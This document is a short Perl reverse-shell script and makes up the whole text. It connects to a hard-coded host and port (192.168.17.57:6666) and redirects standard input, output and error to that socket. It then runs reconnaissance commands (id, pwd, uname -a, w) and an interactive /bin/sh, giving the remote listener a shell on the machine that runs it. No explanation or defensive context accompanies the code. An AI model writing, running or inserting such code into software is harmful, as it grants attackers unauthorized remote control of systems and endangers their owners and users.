#! /usr/bin/perl

use Socket;
use FileHandle;
$IP = "192.168.17.57";
$PORT = 6666;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush(1);
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id; pwd; uname -a; w; /bin/sh -i");
